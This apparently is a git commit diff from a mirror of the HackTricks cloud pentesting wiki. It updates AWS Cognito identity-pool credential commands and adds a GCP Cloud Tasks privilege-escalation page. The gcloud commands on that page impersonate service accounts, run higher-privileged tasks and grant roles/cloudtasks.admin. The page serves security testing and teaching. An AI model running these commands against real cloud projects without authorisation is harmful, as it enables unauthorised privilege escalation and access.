mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 07:40:49 -08:00
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud
This commit is contained in:
@@ -107,6 +107,7 @@
|
|||||||
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
|
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
|
||||||
- [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md)
|
- [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md)
|
||||||
- [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md)
|
- [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md)
|
||||||
|
- [GCP - Cloud Tasks Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md)
|
||||||
- [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md)
|
- [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md)
|
||||||
- [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md)
|
- [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md)
|
||||||
- [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md)
|
- [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md)
|
||||||
|
|||||||
@@ -167,22 +167,36 @@ For this you might need to have access to the **identity provider**. If that is
|
|||||||
|
|
||||||
Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured).
|
Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured).
|
||||||
|
|
||||||
<pre class="language-bash"><code class="lang-bash">aws cognito-identity get-id \
|
<pre class="language-bash"><code class="lang-bash">
|
||||||
--identity-pool-id <identity_pool_id> \
|
# Updated format
|
||||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
aws cognito-identity get-id \
|
||||||
|
--identity-pool-id <identity_pool_id> \
|
||||||
|
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
|
||||||
|
|
||||||
# Get the identity_id from the previous commnad response
|
|
||||||
aws cognito-identity get-credentials-for-identity \
|
aws cognito-identity get-credentials-for-identity \
|
||||||
--identity-id <identity_id> \
|
--identity-id <identity_id> \
|
||||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
|
||||||
|
|
||||||
|
|
||||||
# In the IdToken you can find roles a user has access because of User Pool Groups
|
|
||||||
# User the --custom-role-arn to get credentials to a specific role
|
|
||||||
aws cognito-identity get-credentials-for-identity \
|
aws cognito-identity get-credentials-for-identity \
|
||||||
--identity-id <identity_id> \
|
--identity-id <identity_id> \
|
||||||
<strong> --custom-role-arn <role_arn> \
|
--custom-role-arn <role_arn> \
|
||||||
</strong> --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
|
||||||
|
</code></pre>
|
||||||
|
|
||||||
|
> **Deprecated format** — these may no longer work with current AWS CLI:
|
||||||
|
<pre class="language-bash"><code class="lang-bash">
|
||||||
|
aws cognito-identity get-id \
|
||||||
|
--identity-pool-id <identity_pool_id> \
|
||||||
|
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
|
||||||
|
|
||||||
|
aws cognito-identity get-credentials-for-identity \
|
||||||
|
--identity-id <identity_id> \
|
||||||
|
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
|
||||||
|
|
||||||
|
aws cognito-identity get-credentials-for-identity \
|
||||||
|
--identity-id <identity_id> \
|
||||||
|
--custom-role-arn <role_arn> \
|
||||||
|
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
|
||||||
</code></pre>
|
</code></pre>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
|
|||||||
@@ -0,0 +1,51 @@
|
|||||||
|
# GCP - Cloud Tasks Privesc
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Cloud Tasks
|
||||||
|
|
||||||
|
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
|
||||||
|
|
||||||
|
An attacker with these permissions can **impersonate other service accounts** by creating tasks that execute with the specified service account's identity. This allows sending **authenticated HTTP requests to IAM-protected Cloud Run or Cloud Functions** services.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
gcloud tasks create-http-task \
|
||||||
|
task-$(date '+%Y%m%d%H%M%S') \
|
||||||
|
--location us-central1 \
|
||||||
|
--queue <queue_name> \
|
||||||
|
--url 'https://<service_name>.us-central1.run.app' \
|
||||||
|
--method POST \
|
||||||
|
--header 'X-Hello: world' \
|
||||||
|
--body-content '{"hello":"world"}' \
|
||||||
|
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
|
||||||
|
```
|
||||||
|
|
||||||
|
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
|
||||||
|
|
||||||
|
An attacker with these permissions can **run existing scheduled tasks** without having permissions on the service account associated with the task. This allows executing tasks that were previously created with higher privileged service accounts.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
|
||||||
|
```
|
||||||
|
|
||||||
|
The principal executing this command **doesn't need `iam.serviceAccounts.actAs` permission** on the task's service account. However, this only allows running existing tasks - it doesn't grant the ability to create or modify tasks.
|
||||||
|
|
||||||
|
### `cloudtasks.queues.setIamPolicy`
|
||||||
|
|
||||||
|
An attacker with this permission can **grant themselves or other principals Cloud Tasks roles** on specific queues, potentially escalating to `roles/cloudtasks.admin` which includes the ability to create and run tasks.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
gcloud tasks queues add-iam-policy-binding \
|
||||||
|
<queue_name> \
|
||||||
|
--location us-central1 \
|
||||||
|
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
|
||||||
|
--role roles/cloudtasks.admin
|
||||||
|
```
|
||||||
|
|
||||||
|
This allows the attacker to grant full Cloud Tasks admin permissions on the queue to any service account they control.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
Reference in New Issue
Block a user